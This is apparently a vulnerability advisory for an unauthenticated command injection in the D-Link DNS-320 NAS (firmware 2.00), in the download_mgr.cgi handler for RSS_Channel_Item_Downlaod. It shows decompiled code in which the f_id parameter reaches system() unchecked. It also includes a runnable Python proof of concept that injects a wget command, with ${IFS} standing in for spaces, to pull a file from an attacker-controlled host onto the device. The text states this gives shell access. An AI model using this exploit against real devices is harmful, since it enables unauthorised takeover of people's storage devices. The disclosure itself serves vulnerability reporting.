D-Link DNS-320 download_mgr.cgi RSS_Channel_Item_Downlaod function Unauthenticated Command Injection Vulnerability

```
Brand: D-Link
Model: DNS320
Firmware Version: 2.00
Official Website: https://www.dlink.com
Firmware Download URL: https://files.dlink.com.au/products/DNS-320/REV_A/Firmware/Firmware_v2.00b06/DNS-320_A1_FW_v2.00b06.zip
```

Affected Component

```
The download_mgr.cgi binary's RSS_Update
```

Suggested description

```
D-Link DNS-320 download_mgr.cgi RSS_Channel_Item_Downlaod function Unauthenticated Command Injection Vulnerability
```

Vulnerability Details

```
Python script command injection
→ GET http://192.168.31.10:80/cgi-bin/download_mgr.cgi,{'f_id': 'x;<your command>;', 'f_item_id': '1', 'f_download': '1', 'cmd': 'RSS_Channel_Item_Downlaod'}
    →cgiMain:(dispatcher entry point)
        →sub_FCC4: enter this function
        →sub_FCC4: get parameters from the body by calling cgiFormStringNoNewlines("f_ld", v4, 256)
        →sub_FCC4: concatenate v4 as a command into v1, v4 contains the malicious command
            →system: system(v1)
```

```
else if ( !strcmp(s, "RSS_Channel_Item_Downlaod") )
{
  sub_FCC4();
}
```

```
size_t sub_FCC4()
{
  char v1[1024]; // [sp+8h] [bp-614h] BYREF
  char v2[8]; // [sp+408h] [bp-214h] BYREF
  char v3[256]; // [sp+410h] [bp-20Ch] BYREF
  char v4[268]; // [sp+510h] [bp-10Ch] BYREF

  memset(v1, 0, sizeof(v1));
  cgiFormStringNoNewlines("f_id", v4, 256);
  cgiFormStringNoNewlines("f_item_id", v3, 256);
  cgiFormStringNoNewlines("f_download", v2, 8);
  sprintf(v1, "rss_perform -k %s -e %s -j %s -m ", v4, v3, v2);
  system(v1);
  strcpy(v1, "rss_perform -g > /dev/null &");
  system(v1);
  fwrite("Pragma: no-cache\r\nCache-Control: no-cache\r\n", 1u, 0x2Bu, (FILE *)cgiOut);
  cgiHeaderContentType("text/xml");
  fwrite("<?xml version=\"1.0\" encoding=\"UTF-8\"?>", 1u, 0x26u, (FILE *)cgiOut);
  fwrite("<config>", 1u, 8u, (FILE *)cgiOut);
  fwrite("<result>1</result>", 1u, 0x12u, (FILE *)cgiOut);
  fwrite("<cmd>", 1u, 5u, (FILE *)cgiOut);
  cgiHtmlEscape(v1);
  fwrite("</cmd>", 1u, 6u, (FILE *)cgiOut);
  return fwrite("</config>", 1u, 9u, (FILE *)cgiOut);
}
```

Attack

By exploiting this vulnerability for command execution, running this script allows access to the device's underlying shell.

For example, the image below shows the execution of the wget command to achieve malicious file upload.

POC

```
import requests

ROUTER_IP = "192.168.31.10"
MY_IP = "192.168.31.215"
MY_PORT = "8000"
FILE_NAME = "hack.txt"

def run_exploit():
    target_url = f"http://{ROUTER_IP}:80/cgi-bin/download_mgr.cgi"

    wget_cmd = f"wget${{IFS}}http://{MY_IP}:{MY_PORT}/{FILE_NAME}${{IFS}}-
O${{IFS}}/tmp/{FILE_NAME}"
    final_payload = f"x;{wget_cmd};"

    params = {
        'cmd': 'RSS_Channel_Item_Downlaod',
        'f_id': final_payload,
        'f_item_id': '1',
        'f_download': '1'
```

```
    }

    try:
        requests.get(target_url, params=params, timeout=5)
        print("[+] Exploit sent successfully!")
    except Exception:
        print("[+] Exploit sent (check server logs)!")

if __name__ == "__main__":
    run_exploit()
```

Finder

```
ZuZheng Yang
```